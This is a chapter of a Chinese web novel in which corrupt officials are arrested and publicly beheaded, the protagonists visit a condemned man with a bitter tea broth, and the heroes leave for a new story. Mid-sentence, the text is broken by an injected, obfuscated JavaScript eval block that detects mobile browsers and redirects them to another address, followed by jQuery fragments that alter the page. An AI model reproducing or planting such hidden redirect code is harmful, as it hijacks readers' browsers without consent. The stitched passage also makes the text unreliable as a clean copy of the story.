29. 鲤鱼话(十四)

芜县难得出了太阳,但太阳的光却如铁器一般冰冷,它的光亮照上了树梢,照到了泥地,照到了每一个阴湿的角落,却独独照不进万家。


而万家是如此地寂静无声,只因万家父子的罪恶侵没了整个宅邸。


萧霖哭着找到了楚陌,楚陌也及时找到了御史中丞。


他将他带到万家,前去捉拿万勉。


本以为万勉会做最后的挣扎,他却一反常态,杵在原地,好似正在等着他们一般。


他没有分毫反抗,任由御史中丞随身的官役将他反身扣住,压回了牢中。


一路上,万勉发丝凌乱,嘴里还在絮叨着,没人听得清他在说什么,不过,他说什么也于事无补了。


万勉被捕,万哲和徐徽也逃不开。


御史中丞带着一队人马全力搜捕两人,费了些时辰,但终是抓着了想要逃跑的万哲和在身后紧紧拉住他的徐徽。


二人在声嘶力竭的求饶与哭闹声中,被押解至牢中。


翻看卷宗,御史中丞怒发冲冠,徐徽这败类,为官数十载,干得好事屈指可数。


他仗着芜县地处偏远胡作非为,若不是此次有人舍命进京告御状,他在此地作威作福的时日还要再加几十载。


按律令,徐徽与万哲当斩,同时,背负了几条人命的万勉也被判上断头台。


御史中丞决定,选个吉日,将三人同时问斩,要让百姓亲眼看见他们的人头落地。


至此,萧霖和穆宥终完成了结局的改写,助正道之光,普照芜县大地。


这场局中,可怜的是徐袅,身为局外人,她始终无辜。


御史中丞也念在她本性纯良,并未将其夫其父之罪牵连至她,但万家和徐家的家产依然按例,尽数充公。


经这一场闹剧,百姓也议论纷纷,有人叹着他们的命运,有人连连拍手称好,有人约定行刑之日必去观看,众生皆有所望。


可牢狱中的三人却戴着镣铐两眼空空。


万勉还是神志不清的样子,嘴里始终喃着不清不楚的话语。


万哲靠着墙悔恨自己的一生,血丝布满他的双目。


徐徽则拿指甲扣着牢墙,万念俱灰。


此间,萧霖和穆宥让楚陌托了关系,准许二人入大牢,来看万勉最后一眼。


毕竟,他们还有一个任务还未完成。


当二人来到关押万勉的牢房前时,他正蜷在角落,抠着地上的青苔,转而塞进嘴里。


萧霖不禁皱起了眉眼,迟疑地叫了一声他的名字。


好在万勉如今虽神志不清,但还知道自己姓甚名谁。


于是,当他听闻自己的名讳之时,立马扭过头来,看向萧霖。


而后不知怎地,在他对上萧霖视线的那刻,他疯癫的眸子赫然清醒,赶忙直起身子,大步冲了过来。


萧霖被他这举动吓得不轻,连连后退,穆宥见状也急忙护住了她。


“快!快给我你们的茶羹!”万勉双手扒住牢门,面容瘦削,极力嘶吼。


什么?他还记得茶羹?


“你们不是说过,你们的茶羹,食之者可去除一切烦恼,以得幸福一生吗!快给我!”


没想到,他们正愁着要如何给痴傻的万勉灌下茶羹之时,他竟自行向他们索要起来。


可笑至极。


犯下此等罪过,还期许一盏茶羹能助他逃脱良心的谴责?真不愧是疯了。


但萧霖也只发出一声蔑笑,随后从手上挎着的篮中,掏出一盏专门给他熬制的茶羹。


万勉毫不迟疑地抢过茶羹,自顾自塞满了嘴。


“好吃吗?”萧霖讥讽道,“苦茶做的,最配你了。”


随后,万勉边吃着,面颊上边落下豆大的泪珠,不知是被这盏茶羹苦的,还是被他的悔意逼的。


一口又一口,他甚至都来不及咀嚼,生吞下肚:“好苦啊……好……苦啊……”


为何,为何他明明吃下了闻名遐迩的留襄居特制茶羹,却感不到丝毫幸福?


为何呢?为何呢?


一时之间,他的泪水似断线珍珠,直直滴落在茶盏中,化开了油渍。


此后不久,便是他们的行刑之日。


由御史中丞亲自坐镇,他令人搭了台,给足了三人“面子”。


刽子手步步强硬地走上台面,提起他的大刀,大口饮了碗白酒,用力吐在了刀面上。


这时,官役也压着三人陆续上了刑台,台下围得水泄不通,大伙都在这儿等着见证三人被一一斩首的场面。


徐徽是首个,随着御史中丞将斩牌扔下,他猛地哭了起来,甚至想要挣扎。


他扯着嗓子哭喊着,下面的百姓却以更响的声音欢呼着。


刀起刀落,徐徽的一生随着利落沉闷的一响,正式结束。


徐徽被斩首,台下的百姓,有的捂着眼不敢瞧,有的却呼喊得更起劲。


楚陌一行人也来了,萧霖不敢看,躲在穆宥怀里,却也能从身边人的反应中了解行刑的进度。


接下来,是万哲。


作为商人,他想尽了一切办法谋利;作为父亲,他为了万家孤注一掷;作为棋子,他也就这样狼狈地被王互玩弄……


他不同于徐徽,值此之际,他坦然闭上了眼,接受大众的审判。


而后,萧霖在大伙又一阵暴起的惊呼中得知,万哲也别了世间。


最后压轴的,是万勉。


他是三人中最年轻的,是最饱含希望的,但同时也是最极端的。


在虚荣中久了,人就会变得贪婪,贪欲是猛兽,你永远喂不饱它,而它却会借着你给的食物日益壮大,向你索求更多。


万勉正是这样一个养着贪婪的人。


原来的他,只是一个老实的读书人,想要靠着努力考取功名,可事实却一再否定他的能力,他只得再开道,却又被长期的吹捧和金银的虚假,套进了跑不脱的桎梏里。


万勉又疯了,嘴里依旧不知在叨叨着什么。


行刑之前,他的眼前渐渐浮出两个人的轮廓,含着热泪,他看清了那影子——是方澈和方静玗在远方冲他挥手。


留襄居的茶羹,起作用了?


他这才止住了低语,缓缓抬起头来想要凑近他们,可这时,刽子手的刀也舞了起来。


“阿澈……阿静……等等我……”


这是万勉最后说的几个字。


万家兄妹带他学会了乐观,却又是他亲手,把自己的美好毁掉。


他要如何赎罪呢?下辈子换他做牛做马吧……


三人人头落地后,御史中丞在大众的瞩目下,派人抄了万家。


徐袅离开了芜县,没人知晓她去了何方。


无妨,不论身处何处,她大可凭着自身的女红谋得一条踏实的生路。


不过好在,余生她不再是一个人——在万勉问斩的第二日,她便查出有了身孕。


这个孩子倒也懂事,不愿提前闹出动静,让他那双恶贯满盈的祖父乐上一乐,但所幸今后的日子里,他还有他的娘亲,能将他带上正道。


于徐袅而言,这个遗腹子,也是她此后全部的希望了。


事情解决后,御史中丞派人将方家兄妹安葬在了一处,那里安静祥和,不会有人打扰。


出于人情,萧霖和穆宥为两人立了块牌,并在二人墓前


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368352|164571||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


放了两盏茶羹,诚心希望他们能在下辈子寻个好人家,过上好日子。


但楚陌不然,在众人沉溺在贪官已除、正义已至的喜悦中时,他一言不发地来到了破败的万家。


见着忙里忙外搬物件的官役,楚陌逆着人群走了进去。


他施施而行,缓步走到那方池前。


万勉被捕,在一连逼问之下,他才告诉了官役方静玗尸身所在。


可待他们将方静玗的尸身捞起,交予仵作后,仵作给出了她的死因——溺亡。


没错,方静玗不是死于窒息,而是溺水。


那日,万勉本可探她鼻息,他却并未这么做,而是在其昏死的状态下,把她抛至池中,最终让那死水涌入她的口鼻,再无生路。


楚陌立在池前,撮起一小把鱼食,随手一抛,鱼儿纷纷浮上水面吞下,继而咕咚一声,再度潜入水中,翘起的鱼尾溅起一丛丛水花来。


楚陌望着渐渐散去的涟漪,轻叹道:“落花有情人无情,鲤鱼明理人不明,悲叹,悲叹……”


---


一切归于平静后,萧霖和穆宥并肩坐在空荡的留襄居里,久久回不来神。


这一回,没有高青高卉深陷的桩桩谜案,却给二人后劲更大。


此间,萧霖一度崩溃,因为在钱与权交织的谎言中,人命显得这般无足轻重。


当然,他们也见证了人世的美好。


无论是方家兄妹如一而终的良善,还是吕二夫妇舍己为人的大义,都给二人上了极其宝贵的一课。


这一趟旅途,让萧霖对下次的故事充满期待,也伴着茫然。


“快去收拾行李吧。”突然,楚陌从后院走了出来,“要关店了。”


“关店?”穆宥猛地站起,挠了挠有些麻意的大腿,“还没到打烊的时间啊,为什么这么早就关店?”


楚陌又一次被眼前这小孩无语到,碍于礼仪,他只能在心里翻了个白眼:“这几日,你们很是清闲吧?”


“嗯嗯。”


“我们来这里的时候就说过吧?这店本就是亏本买卖。”


直到此刻,穆宥恍然大悟——原来这回不是打烊,而是彻底关店!


那这岂不是意味着,他们又可以回天陵了?


但歇了些时日的萧霖却不愿再耽搁时间,毕竟从这儿回天陵,又要耗费七日,实在没有必要。


于是,她不顾穆宥如何自娱自乐,当即请求楚陌道:“楚老板,您干脆带我们进入下一个故事吧,不用浪费时间了。”


难得积极,楚陌也来了兴致。


于是,他也不顾穆宥在一旁如何叫唤,利索地为萧霖带来了余下的三本册子。


吃一堑长一智,这回选册子之前,萧霖抢先问了嘴:“我想要一本,能让我们身边人站在权术顶端的。”


她这一要求倒有趣得紧。


楚陌反问道:“为何?”


“因为我体会到了,没有权和钱的路有多么难走,所以我想稍微为自己清理一下阻碍。”


经历了这么多,萧霖也算是成长了不少,竟开始谈起了条件。


既如此,那便由着她一次吧。


“这本吧。”随后,楚陌翻看了一下手中的三本册子,从中挑了一本出来,递到萧霖眼前,“这个故事的主角,可是本朝公主。”


公主?够尊贵!


好!就这本……“琴曲奏系流离者”!


萧霖二话不说,当即接下了这个任务,接着熟练地环住了穆宥的胳膊,闭上了眼睛。


楚陌浅笑一声,挥起了水袖。


又是那道白光,天旋地转之后,二人再度踏上未知之旅。